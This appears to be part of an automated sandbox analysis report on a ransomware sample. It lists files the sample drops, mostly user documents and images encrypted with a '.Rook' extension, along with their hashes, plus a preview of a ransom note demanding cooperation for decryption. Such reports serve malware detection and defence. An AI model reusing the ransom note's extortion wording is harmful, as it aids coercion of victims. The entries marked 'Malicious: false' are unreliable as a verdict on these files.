Preview:	....v.@!0.'C..}I...F..............8.../1.JWO.;..................(.N.Q.b.;?.........4BE..M..8..4...+...ha~I..........6...1SPS....\Wh!Ur2\..z.]............&....Fc,.>\|)z^..L.(.t...M.i.c.r.o.s.8@'...;1Z..."...8.w.e.k.y.b.3.d..a..P ......n...................&....m@.].E,.&..i.c.r.o.s.o.f.t,..n.....#....W,.f.t.E.d.g.e._.4^\|....^h?.*..<]..3.8.7...0._.n.e..u{...E....:....w.e.k.y.b.3.d.8..J....".R.c..L........4...M.i.l%...6.>.\.. ...M.i.c.r.o.s.o.f.B..I.b9......K~.e.k.y.b.3.d.8.b..3..TL.y..#@..$o.s.o.f.t.E.d.g.3P,v8J YV.....W..<...C.:.\.W.i.nk....9s.9.e..t.e.m.A.p.p.s.\..Fc,.>\|)z^..L.(.t...M.i.c.r.o.s.8@'...;1Z..."...8.w.e.k.y.b.3.dT.4.H.)...?.L.... ....H.....4..,f.U.O.....Q...A...1SPSM..i.<D...f.\.mRt....d...&...A.s.s.e.t...&..x..qI..m.(.o.f.t.E.d.g.e.Sy.".C...3..i..x.1.5.0...p.n.g...j.lD....U.DBB$...A.s.s.e.t.s...'..G!..${..I.f.t.E.d.g.e.S.q....,.O.i"l...4...p.n.g...Y....s./.MQy!.Lf...s.e.t.s.\.M.i.c.1.l.H.......g.e.W.i.d.e.3.1..5^...$.X1..<...g..............mj.)D...

C:\Users\user\Desktop\OVWVVIANZH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.841048048439538
Encrypted:	false
SSDEEP:	96:Xa9NohZvRzoB6VB7Ko4/AAUn5U50+NS43LPuLjv:Xa9IvRMQeoiM5U50B43LPun
MD5:	3E646EB6FD53A47966841FF0B0C2D358
SHA1:	CDCBA154812DF4052817009B26BE9F9402134C57
SHA-256:	BB38D57EAC56E4F807ECF7763C9DBC88BED2D37690DC5D09C2C3D5D522C01FCE
SHA-512:	4D66A6DD760DDBB586ACC9315CEA505E8E566769A798BACB0FBACAFD053DC442F54219E6FA9694CC5B39BB10D4139A12E26DCED66CEEEC2B133C85213E024D78
Malicious:	false
Preview:	Zr.%.>:%?...Z.O STOURHCRPQFPUVPQ......D.....^\|6AKSTBWQDGWLQAPUA.X.j:.}..l{...KYPRDWJTBAMULTFVw.V.1.,?G+..E3..HOXDUULNIZUDQBKQ3DM.....Z....8jPUQXHVAAOZKSYSCX.]~2!.....\|..S.DGZRWAMXCBJWGDRE.]...k.y...E.."LAZPTRPFOAYULIBES$O.CIr&.....x.zCRYBJMRVOQHZZPXO_....z?.....8..TYOPYRBXWXWVNIPQ.1...X.;R...Y..MQTOCCFGYBYKVYAL.,...r.S{m..`x.EWRBFDABMGAWEVCS.&.\../.......TJHMTXSDZQTDJQCQ...e#.\..=qH...JECILZUGNSGYVOHG.&.oJ...>......\MVXITVRPWWPLUEER.UN}8.....Z..Y..PGGXTTLWNZRFYGVS..x2........+.DAQOKPMGHNINOQNH.z...Jyl+.A.F.R.TAXZESTKIFXQCXDN,-).D..DE$.....AMJWDGQGWCPOBTPX.....K...EF..E.VVFMEXBWRHJBXLQDHJ..P....q..1...MXBWHFLKLIAGAKQD...r.#....T..p".DAPPBPGCQOOHWDCB.u.Oe...y.5...IOWZLTAIDMXYARRYR......"...4J-DUPRLWSKRGCTTIQD..l......&uoYe..PZQLSWEVBDZXVQAOT...~'.'...J..AVBHEKYBUXNMLAWIv.=..&..&5.....JAYUVNUWQQYOHHWR...T.$(/...E..8ZWHPDIXDEWDCNYUX,.'%%v.{j..U...pVNOOCASKUTHAZVXP...o....w.)...B.FBGIZKVUDLFYSFJX.O.F.-[.\../..BTNPDEUUEDDRJHFX#E.?...R..&50...QJTNTOREWWDDTIVJ..g..K11

C:\Users\user\Desktop\PWZOQIFCAN.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.84859653552774
Encrypted:	false
SSDEEP:	96:jahdXFZM1tENYInr7Ko4/AAUn5U50+NS43LPuLjv:mPvStWYIn6oiM5U50B43LPun
MD5:	B0EB7DA5937A99BA2932B2A4AC6C6588
SHA1:	97325F4767053611425D40271A3E49DB20A2CC70
SHA-256:	47E0D7F95A070E03C7989083D096F9475BDE6A8FC68533E7419E4E82904B6734
SHA-512:	D57B04F5BBF4F18FA977B4F1678C658F40B9B41CF24E9831DEA886D76EF432A9DFCFAD5475B0FDE7554FE01FA383355C3A2DDD13FDC7693AEB10F336D8ADDAF0
Malicious:	false
Preview:	...o....FM.~N..NKEGOVMEWCFFLEMZ&...."Z.s..?).YUTVQQWHVDWHRFTN7T.>...0Ls.m?d.UXFUJYWYCZRMHOWC...6.iki..c..X..HRDCIIAVORACBTBR.._.s.FSt.3.\|.GLMDNVRGTPPKQFQIb..T....2,.e..E.IOBEKHODJTILUMNI......E.o..<.J=ZSIAIJKAJTPYTYBS....Nm.}.p...7..CZFDCTZVNAOYHSQJ..w.k.}.r..=.J.HUEMCLBTQNKFXRND...BT..Rd..o.gi.NZRKWLCPJJQIACLJ,..j.....i.W...mIHMQCTYHBSEEDXNT.bZ...L.8...Mn.LIGJQMAKBUMLPAYE`B..ZH#.h2.:`..KCXOAFADMANFEKSM\|.0...t..E.w@...RHXJRRAJALQVRIPU..bO>.W.n.c:+..6UGHBKDAURARQMEAW.M%....J.=.YHFAMWPSLAHUCSHD..MQ...D..(.^.".TOASVLNTADXOSSNC.7k...Y..5..p..SZHOUAWBRJTVEBGJ.../>'m:jxC(..)PXKKPFJIUUWJMLGZ........~.,..INFESGKBBHDAQFXCOn......N{3*;.v'.FADUTZZFJYKNDQVJ-.xY%....4u...C.LBLTGEBDFOSOUEGY....2h.ML....<.PBRNRCMUVADFIZDQ\|!.S.6t.3i$....TVAKLEFUUJBLMKOVEC...4......i..AZSXDLYYVDPHGSRA~`.}9.../..Rn.y.TVTRHVTUTVJTLAQT..ot.%..7.%.}TGFSZYKOTDQQLCHN..../...].....ITQOVNMOIZLXAGNU..^.zK.i..U.4.LLWCHJAPFBBKFXQCh.;.UiE..Z?7.[vlDPOSSOCUECDWDQBR>.3.[^.u.U...3xSVUPZMODDPXNVVXB..j.~.

C:\Users\user\Desktop\PWZOQIFCAN\BQJUWOYRTO.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.83733514361757
Encrypted:	false
SSDEEP:	96:V3MIWCxjq87Ko4/AAUn5U50+NS43LPuLjv:KINq7oiM5U50B43LPun
MD5:	AFE8D3D1390945F1354938C7EDC3EAAC
SHA1:	54B1ABAA01E35222FD7084F1762357B8108F99C1
SHA-256:	64EBF1B6F1251CF1F2E953EDD50B7030C6589D596A2E9464A15E9A36DA7B94DC
SHA-512:	A238AEF37E3CF9A1EA474E59956AFBB059A362F473420770C4B27010A958B5A751459F568D728B819279D64D6B25F6B057B306DA2C59B5D343E518C965F38B0C
Malicious:	false
Preview:	...K...p..C.17.XDLSWRNMFMCSYXRP..\..^Gk..2.`..DYNKGJBBEKHPTUBSjM..-!N....FH._3JPJKOPTWULSKKXLS..+......8..9...BXKKCMYLLBRWPJMB.\...$D..qN.-..^RNGQLIDNRZYVXHIW..?~.Hy... s.w#BKWCQQGPRFDTAZUL.0."......o..8.AIWAICBXNPXUMZFR../w6RB.L.r<./fYBODAVKDNOLRNYNBK9.^{.._>(....Wv.KDRZIHJDDUPOXQOJ..-'..8....t..PYCRBAHBBGKXGMOD.W..cS.....V.rhCUCKKJSLQYPIMPYZ..}....z.....m{QHTXZBXONOWDVDWQ.`l...3b8.U5...SFUGKZZBFUUTDDOM..lvz...A.......SLPUXATPQGHCHIJR1'....y-7.4.sS..EDHOUMBJWJSCXGDM..JY..P.gB2e6...KRJCRXWGYTZRFYVOq..)...;/Z...J.FMPWSBHHWRRLBRKC}A}.+1.#Y..sh&.`PHYJGALXNLZXJVWW.._..NG.yY...<.GKRDQBGOXOULNHYYU9....W..g.!....LNJBTSMXAWVUVUVKH.. g.8.Hj.....%MJMFWUZTFVNALCFB...:WbUqN.......BZRVOPDFCORECRQJ..!..=-O.......LXOISHLMFTEBKUAI.......g.J..e.LSIPNJTWJLGARSXDX.4.JU'..X.x+(..LKQTPVOVXSGKMXEE..c.y.%..@...9.PXBVELHRSUIIUSGM..5.....Jz$J...GAVGKNPMSZMHRWAK_...fS.....\...PLAAVOSTLMEJGFHJSF........F.,:..UWSZMQZHAMPRHAWD5W.B.n.......c4ZNMBWVRFZTJLSUUU.....Z.5.[X..IJTNPLJBASLIHCUCX...F..

C:\Users\user\Desktop\PWZOQIFCAN\BWDRWEEARI.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8436325328390195
Encrypted:	false
SSDEEP:	96:tJxk3r3p78Z7rJ7Ko4/AAUn5U50+NS43LPuLjv:tI3rZ8B0oiM5U50B43LPun
MD5:	CF1C9322C80FE17EEB170068F6756C0D
SHA1:	99D6E545912FE5440CC5AEFBE84756C5386F8D40
SHA-256:	91658897525B8949414B68D2AC6D6132B11778E5A8BC53875446B025D8B68983
SHA-512:	087FCCC6035CF03FA95F41C956FE60EA740BD9FF14139775966BA5C075E8D54D772060CF5F1B1C97320043C1ED026F45EA942E29F8BE92F237DA6D7CAF747D0E
Malicious:	false
Preview:	{...#K..h'....iYFZKKDZROVEXHIWV.......d".]..m..UARELJDXJXCSHTPH....Sm...1-...G"SWGLMRRJSEIGOIXH......~.:5..9.K.EYRRCAEYIYIDAZFY.Z...>..&.tv..xQIAICZQWEBEGEFKVt.dl.&.U^.;..I.pVMUNNYYOCDVZVNLF_.."D.c..G:~..wDRJAHLNPQBHYCZTY\|.$..nu.v.!....LMPPSQZAAYPORMHI....H..3.M.]...FIRXNFDVQZSZAWNVF...J....R.'.;..NFJJZSUQWRBLHJRBP....].\....v..YNHPPIXZOEZBTJVV......z..>v..,..TZPXEFMEGBQIWJWE..+...=..PD.e...VBYCRJHEAPKMQTFBy..D....I..d.r..FKBIVGOEKQTPROWJ....(+.<O.\.D..DOYJHFLFDPWAUBFZ{.".<Zp.?D....mEFIGEXIWYKDNDXZD....=..BHbe;=g..GEYCOTPSHBIHWNMF9Y...).$NW.!.sEXRDUTNEVIVXRZAFT.ay.2.&.......NNFAZREEJMMAYLCE.zt.ZF`H..2=...AUDJBTIBXIGLQAUA.*.b.+.....t.%.AVBCBZQUROXOPVYH8.0.;gw...4g..s.VEVNCAEAGPJZDVRSS.x...'......>..SKDCSULRFDCPIFAQ....q...r....JQFDAXWIIRQOXDDHm...i....P...H.MTWWPRGTZDPGWXXO.k....'..v...h..UJGTQKFTJYBFZUIM..<....m.yD.....RSFZXSFZBBCYPRSA.S..Ge..@..=.W.REJOCEEMMPDKFUGG..cg.s..u6..QT..KBUNLSSHRUSLHBDF......q...@..:.CHGINQIOTMAKGKPQ.^.!.O..>.x.M..CUPKQZAJUMMQGLLGA.3y.....

C:\Users\user\Desktop\PWZOQIFCAN\GNLQNHOLWB.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.838497491132415
Encrypted:	false
SSDEEP:	96:iuofD6VSZg3OYIT7Ko4/AAUn5U50+NS43LPuLjv:iucOEgnoiM5U50B43LPun
MD5:	CBC42516A9A19949255EA72895D6E09B
SHA1:	683648B4BE747D8894E4A41D8458A93A9C0692BA
SHA-256:	77CE471794E9BDC51ADA8FE58E579EB49E6911221DD2ACD04CD2D59696D6B411
SHA-512:	7E53BB6475F57A26F23764351FB694D7B831C1470E5D1DCC54D77A71CDC8CE6616483E9FF0352703C6B662DD0AB294DAB37CC14576FA302CBF7336CFEF0F9762
Malicious:	false
Preview:	..."i.....[aX\|.{TLNFGJNNXMGUZOMC.d.#5.u#\|.V.<2w.VRYLBVHOHRRAZCZO....m..v1S....LDYZAFJGGGUXKDFDN..)A...F...D..KNJPXNWQKOEVEVLWS.$CK...e..QE.DUZGGIUHFXGBKGLACV...<..u M.U.\.HYWEKXXBEZZVPBKV6\|M;.Cv...}o....VQNAPBMPJOZNNFCD]..:..`,#@S:%$.SRGZTGXSYUNNLKZK..F...um...w.6tLHMWTCZYYSGNSZQW.[-..,.........ZVFQGHKVENDXCIHQ.. .8..-.w&.d.7.JHTLGYJROSCXNGTC.......C..f{.V.XTRIYCZVDEDWKBEH.......I.[g.E.VFLHQRXMYLCHQAJK.acOz..KN>B...f.HVBDNWQMACXDCGCPo.. .i..Y.k.D.`vUJMXEBPBCWJDOKOS......Z`..f?.KYQVAUUYDVCYUHDRU...[ilZg....h..SHICTVCMWIDPOKQM.k..Ln._..6)fBK.WWFNEKDLAVDZNBHH....=..cl\.h.0SVJTEIAUJEHUVHRJ.UHi..w...0..5.DNGHYAESSKWHOCXLO.8..C.yzb.....QEPWVDSSTKTYQDQTK.#b....%.......RECDIFCMPKXTYYNG.XD:.r....o4....ULORZGHRQIQWLMHMF.....=.........MPWAGGPUJXOOYWOG....H.6.......LSJECCOVZVTAPKGA...I.CRX..l.'/..XBKKPKPJFJOKZKMP.mR$.`.Y...ja..KEJJHHOVFETVBBFB..GV....m.......RJUKYZTGOFQUAVOGG.....>.F.-..].IRYUATBQRRVCNMFM...r.c\A.\?.-..CICPBMURXQOIITZC...X..h.4a3.=o.ALRYCNLFILDCLQXD.b.n,.g.

C:\Users\user\Desktop\PWZOQIFCAN\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\PWZOQIFCAN\IZMFBFKMEB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.833854632516877
Encrypted:	false
SSDEEP:	96:4zeK95euUnK2xV9bCOy7Ko4/AAUn5U50+NS43LPuLjv:4zeoeuwxV9mO5oiM5U50B43LPun
MD5:	551E9561278A9206D326F70553A3749F
SHA1:	7FCE42015CA1D1F2927EF8D87E0517277DD9B58A
SHA-256:	3A163191E24DBD66BD5F9BE379564F62640955F2BF09B6C1CCC4CDC293C5F8AD
SHA-512:	830929FD1B043B5FA6436137E09E35649307EEBC22C9C38FD3019E2FE48B520FC1D5394ED148938268C1C577B0F9E48A3B27BBE6A836C854653B2965558D98F0
Malicious:	false
Preview:	4....'...W._...tYOGRJOKLUYKYEMJUC>%.U......&..ELZNUOXWVNDZJRAOOk..jia`uTI@.'o..PDNPIJFFQZDETQFK...rR.QF.^....NOXAVBJCARKFOKHI.."%...../.7....SEFFASUHHMDHUBAMV.<...(...:.?l.LTUEBNLLDQOMZLGI.3..e.5....q.%.DQAWHNDDSWUDEYOPP.d..1.g.F-.Te5<.HPIWYDNDHUXDNYSL...;..oY.l.Y..f.HEOVRBHVMIEIIBHE>KF.M..w...,..XFOLUTZDUOKAMBBJ...5.....^TI.T.JGMPZZSAVFTSOBTV.7..IO...vo...??UHYKYXWZSTJELLKRP.{..2$..0..F.U.TDAKMVDVNYWADPMN.......N...=S..HCRSDUXMKTYASRRO....`T..;..q....OIBCKWHWPTJGKEQO.h...sy..d..Ws.YSUWDEDDGTJHWLZYF...$.R.?dR..KqEAZUDOXSWLHJDIGS.....p....oB..,.AQHXCOAVPDFCQIEH.^.\......N.a..ISPHGVTEDVHAWYWOO..G..-i.8...DIJQGRICKYUZPXLOZ...RiI..Yv...QUVJTEOTDEYCCRPCVX5.hPyAE`.E....aWLNMYIPCOLYFBDDS-..V".K...2..H.MSUSNBSGLDTYGEEB.9.s4.p...X...PRTVXERTMYQWIYUT...m,...a}....SXMIYKWUXJBHOCOBA;.z...`.......s.BPSQGRQDABKLPWJJK...A.3.O... I..CHHDVYXDYYIUIOZD..;...&.*v.,x.=JFMZOMVLIYUHJEAM7$bf...M.s...RlKHILQWXCRKUPFLJK.j..i...G.X....HJWSBCSSQMNJANAD^..c.z#.K.r.....ZETZWJFUFSMVAZQX..Bcv...

C:\Users\user\Desktop\PWZOQIFCAN\PWZOQIFCAN.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.843611938714789
Encrypted:	false
SSDEEP:	96:JmR+KFNE4KlEN7Ko4/AAUn5U50+NS43LPuLjv:JmgwKCMoiM5U50B43LPun
MD5:	F2998174D60C6BC823D7EC5BFB241BAA
SHA1:	180FEA81380A864F30EBDC44313956C650D1F5F3
SHA-256:	45A62A20DF7A1C578BD93784DEC9D58DEB105A93CB33781C7188F004231492B1
SHA-512:	F6A34A04DD5FCE8F06BFAA74600F6E065FD54243240248DD998CD637A4DE2E0D7B50F3523734BC689DC6411704D82AD1F5FC4104151264277241075FB75BE25C
Malicious:	false
Preview:	h.FxfF..8.m..!.NKEGOVMEWCFFLEMZNt.;.$..z.^F&s.kYUTVQQWHVDWHRFTNf.v[...BV...7%..UXFUJYWYCZRMHOWC2T>@..p......'.HRDCIIAVORACBTBR..D..)6k~.r..f..GLMDNVRGTPPKQFQI......C...z.....IOBEKHODJTILUMNI.X..fg.\f...@r..ZSIAIJKAJTPYTYBS....XIr>.....j.CZFDCTZVNAOYHSQJr.:S..s.={'.&!t.HUEMCLBTQNKFXRND.fB...._.t.c.x.\NZRKWLCPJJQIACLJ.H...........IHMQCTYHBSEEDXNT...K[+..K....u=.LIGJQMAKBUMLPAYE...Z.......f/].KCXOAFADMANFEKSM:...o8..8j.b."]RHXJRRAJALQVRIPU..*M..........UGHBKDAURARQMEAW..FF.<...o;...JYHFAMWPSLAHUCSHD...B...[L.X.z...TOASVLNTADXOSSNC.v....\|...&.8F..SZHOUAWBRJTVEBGJ.wz.....2..'.kPXKKPFJIUUWJMLGZ.R.}b......C.(..NFESGKBBHDAQFXCO..k..w..K..u&..FADUTZZFJYKNDQVJw\|....=;..%#+..LBLTGEBDFOSOUEGY..[C^cI_7i..;af.PBRNRCMUVADFIZDQ.-.'.jA.Vn...D.TVAKLEFUUJBLMKOV.5$L.qJ.A.....1AZSXDLYYVDPHGSRA\"..F.n......T+VTVTRHVTUTVJTLAQTHJ.$......[U..mTGFSZYKOTDQQLCHN...h.YL.>f.U.^?ITQOVNMOIZLXAGNUD..UFpx{..(.Q..LLWCHJAPFBBKFXQC...rg.uy..[_D.T"DPOSSOCUECDWDQBR.h..5.;.p%....A.SVUPZMODDPXNVVXBAO....a3

C:\Users\user\Desktop\PWZOQIFCAN\UBVUNTSCZJ.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.843420623530619
Encrypted:	false
SSDEEP:	96:PXLz7UmTkwZi7Ko4/AAUn5U50+NS43LPuLjv:jz7U0oiM5U50B43LPun
MD5:	EFF6DE40244DA5A3C0E0C96060FD0446
SHA1:	7E5E1C9C9245AE8B19662A03E0676744526436DB
SHA-256:	3D0CC7B3D0B31BB9C0C23A7252E4589E051DEB574B54C47DBB8A7B6FD87AF082
SHA-512:	F4428547BE4975EC45507637E365F6D6E14DFC05F7D16C45C1DC90435867267CA6689172227FB638DD54589A7FED6BE826D73910D0688D031430E894F33BFC52
Malicious:	false
Preview:	..........fZ.G{.ZLCTIUQFFTUXDGDM4../....=..v1..STOXKFSFTPIFBIKU.&.C2.Z...`Ls".EEEUNDVTZSSGPULU)..?..;p..:^>.H.OQKVROLRJDHOOHJXCf1!..-sl.?..+.EJCKLRVWCOLIIJKXk.....{.B.....CFIUBQJSAAGFSLSZ&5....k..`7.<..VRABMEABTSRVNHFA.0G..TQ..T..."eCHWOENBPZIRFFNIBy~.x.......9..t.JYXIRUTOLTBLVSGV.O .H.w)...K2...PGXTFQAUQFHGAFMB.N.k..fy.R....&.NIIKVYFFALFRMJLP+....lZO..T..V..VCRRTIKWLRPMCWOU.%.<.........IZVGCFNRVDQJDBZF.......#..0G...YFRJEDQXOLNJKZEAK B..i...}.....<.TRTDUFPLZDAQZOEVm...;t<..c6A.7ENCESIPRLRHJPSJI..:.......L.DeD.PMJSJVKIRCJDUJTBg.f......B.....OCATMJTIPRCDTICNCT........y.i3p..VRUZXEVVHOCRAMAN.....w!....... .FOMUVYGSTOPSLYTH..&...S.......-.FBISOCNEJQIQSHCE.z..qD-1......LQLKPGBGVXXCAGMQ...@.E.C.G...xd.OXXERANPKKZPXOUE.?.Rh.5..A..$.00LBBDDBNPFYMAIQEN4lJ.m.-..m6 ..6.QZBZOZJSXPYCMWYG_.N..../{.H..d.MREQFHKKODROXTZN.Mk..F..0......RVIHZNACJEUFOKBTw.%...>..{...SNIXNUGQEZKRSOOH........A..7.ATAIQUBESVNNUPBT.P?..c..?....Z..SXPLFTUDGBIUBNBE/.........X...l.UAERIXPFMGENDQBPJI.pA._f

C:\Users\user\Desktop\UBVUNTSCZJ.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.832536445735019
Encrypted:	false
SSDEEP:	96:MpuLzrTzsH8GA4HJ7I3z7Ko4/AAUn5U50+NS43LPuLjv:7HrTzsH8GA4HZxoiM5U50B43LPun
MD5:	84E6242CA40907E165DB78E4A33CFAFF
SHA1:	28EEA0D89B1F548B489FCE6AB83F8EA1878CD170
SHA-256:	89A6E5C927D4D63C9C42D603A5233896CDE4DCFFA0D097CCBAD369F9B644EEFC
SHA-512:	A829C0EF39E154A7F9649413A50420221B8D73FFA785F5611048DC87D76752E268195F258DC53E7CDAF6CC5726DD80B6AC32C753B2D74CD8D282C51FD6BC9727
Malicious:	false
Preview:	<O .q.$.Xp3pgD.ZLCTIUQFFTUXDGDM..h.F....3H..l.QSTOXKFSFTPIFBIKU.C.,\|)/g........EEEUNDVTZSSGPULU2v[.6..b....T.OQKVROLRJDHOOHJX..S.L.U..C....EJCKLRVWCOLIIJKX..A.p.5..%X....CFIUBQJSAAGFSLSZ..:...K.....1{.VRABMEABTSRVNHFA.=.m...e...8A.CHWOENBPZIRFFNIBoCd3./>}.]6.o{.FJYXIRUTOLTBLVSGV...,..[......PGXTFQAUQFHGAFMB.\-8..x.J.N).a..NIIKVYFFALFRMJLPW1.J./.K:.W.5..VCRRTIKWLRPMCWOU...D9.K.*..b)inIZVGCFNRVDQJDBZF.....Z.5.(.x.e.FRJEDQXOLNJKZEAK....8..r.E...,d.TRTDUFPLZDAQZOEV.9........O.vENCESIPRLRHJPSJI.....k.T.X...A..PMJSJVKIRCJDUJTB..^(H._V.J.oO.(.CATMJTIPRCDTICNC.gX.)...t.p...;4VRUZXEVVHOCRAMAN.g..j..m.b7.L...FOMUVYGSTOPSLYTHW}. .2$.o2.....FBISOCNEJQIQSHCE~.DM..W`.E.g...LQLKPGBGVXXCAGMQ.......' ....r8OXXERANPKKZPXOUE. ..r...&...".X.LBBDDBNPFYMAIQENN...:ha>z..B5]L.QZBZOZJSXPYCMWYG}]+o....+.[8+...MREQFHKKODROXTZN56.h`.7...id....RVIHZNACJEUFOKBT.2g.k@..u.#...lSNIXNUGQEZKRSOOH...r.Ip.&K.w....ATAIQUBESVNNUPBT.?......g..L.JSXPLFTUDGBIUBNBE.T{x@..7.aR..gUUAERIXPFMGENDQBPA.. ...

C:\Users\user\Desktop\UBVUNTSCZJ.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.837040195200834
Encrypted:	false
SSDEEP:	96:fN4Vgm4db//g0u7Ko4/AAUn5U50+NS43LPuLjv:V4em4ZYsoiM5U50B43LPun
MD5:	F1CC3C65B2771E9A6F70065A8F58C37D
SHA1:	A95F243C4DAAC38EC62DB816BE3E5F9CF5E49F79
SHA-256:	BAAA3D98649EE59559E2FD3C7C30AA56771550316F24E6496167041BA1D7C102
SHA-512:	A38D2BD604E28C1A965F03CA4351BE170EB9319EF261CC6F97AE7F44B5B5C710B6F08071B457ECD4A820EE72473DD444683D6A4A5C4DA6585804FF0BB7BB0E64
Malicious:	false
Preview:	....{..f.Z.-... ZLCTIUQFFTUXDGDM%_.PC=.m.2. }..STOXKFSFTPIFBIKURr.....mf..a.$..EEEUNDVTZSSGPULU....).eF).4x...OQKVROLRJDHOOHJX..F..a....5..EJCKLRVWCOLIIJKX.U.\;....iw..b.CFIUBQJSAAGFSLSZ9..........$;G.UVRABMEABTSRVNHFAX..{.k..d...}..1CHWOENBPZIRFFNIB...B8.m........JYXIRUTOLTBLVSGV....ul_..b~.ym*.PGXTFQAUQFHGAFMB.....\|.E.1....^.NIIKVYFFALFRMJLP7#.ox"r5Z....GcSVCRRTIKWLRPMCWOUr.r...........IZVGCFNRVDQJDBZF......2..H.C2FRJEDQXOLNJKZEAK.5..xV...~d.).wTRTDUFPLZDAQZOEV...}.=.O....}..ENCESIPRLRHJPSJI".Sg...!..U.....PMJSJVKIRCJDUJTB.r...E#..d{.B.zCATMJTIPRCDTICNCK..../.:..;....]VRUZXEVVHOCRAMAN.-u.Gp\|.y..5..7FOMUVYGSTOPSLYTH....k.A..,.....FBISOCNEJQIQSHCE.4<..`....S\...LQLKPGBGVXXCAGMQ.V.`..A... z].OXXERANPKKZPXOUEV.M.%..l7....bqsLBBDDBNPFYMAIQEN..._.l.x.0)T....QZBZOZJSXPYCMWYG.-...C-W M.: !..MREQFHKKODROXTZN.`Adz..(.....RVIHZNACJEUFOKBTI...]WO...[u....SNIXNUGQEZKRSOOH.j...#[..c]..s..ATAIQUBESVNNUPBT..E.#......JYW.SXPLFTUDGBIUBNBE.......H..N.#...UAERIXPFMGENDQBPT...Q4m2

C:\Users\user\Desktop\WHZAGPPPLA.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.838435715791907
Encrypted:	false
SSDEEP:	96:irIrOHKQmv0HkryVoPkA7Ko4/AAUn5U50+NS43LPuLjv:Mq0kryVr/oiM5U50B43LPun
MD5:	D7182900A8A7F79BAABF4C22BEFF3899
SHA1:	1D922B202B4268AFB49A145C2426A74EBFCBFE94
SHA-256:	32882FDAE8A297280FBCD33304B4139A6FAC42971DDB4B080DBF7B1BF1F3C757
SHA-512:	CE238F790A4D476CBDAACE4B7538E3041109FBF2ABCFE404D5F9FEDD64F2ABEBF74D5F3105866F7F8E147967C4777FC1F73CDDB0FDE006CC5BD05915E28B3DC5
Malicious:	false
Preview:	.[Z..].g.W.o..CUNPWLIPSTKGXJJHv ...va"P..`dv..GJNKLAQFLYRVIJCX.;....g..[.i..@2OFPUXUNJELZTWLSC-p.A...c.J..M...EBDBXTJOVUOJXAJY.F..\.H.G.%vIpj.LKJEEOPCASTYPHMCu.!C.&`....^.>..YULUACRKXOWBGJZIX..X&T=....& /.^LDGGSFEIUJILBDVWn.J=....Bg...S.EYCOULLKZCWMCRHT..&.Q7......WBEBYBIVIWOONLTP.V..:.....h..ALXTTAMSNCLYYGZF..H.....-...(h..DMKNPRJNGLGUCIEK.......P;....".ZUTQMJOYVJRXYMXA.5".p......!.1.kTYDTHAODYZHZCXKV.oZ..ZC..rP.D.X.XLRQAUCSMTNYWFMI..'.W-v-.tVb..f.GQWCINLCVUOJQWDB.U....Q.k......uIVUSEYMOHMSBEVQJ.1....;.....xE[\GJXXWFMWUETTDXDG9..C...b80..W`.XBVHRNMBLWUTKNBA%R..A@.k..v.SE..OYLRNYFEOQEYSVVJ....N}..;...$..DAYWFNMFUJJOVHNGVL..(TC..I.&...IKLOLJVADGGUCRVF...D.-..../..sKMLOAVJEDFLOCVQF..T....{.h.%~.0.BTGGQRJFISGOPPIV&y>.)4+`c..6x..ASBSTYAHOEBQCZKPU..M..4R.`..g.O.AMKEYIXMDRHNJVKS.XO..d.9&.bv_...PSNRHWMQQWQPYJJK)......>m\~&0.DKKTJSOYKCXCOSJQS.c8..Z........ICHUHDTCRBUSPJLW?.\|....8M9e....IXGKKKGADJYISDOMZ../.1./p.'.v...NMBGQFXPSONUPKDHG{.\|...W....SCOZNIWFCCCOS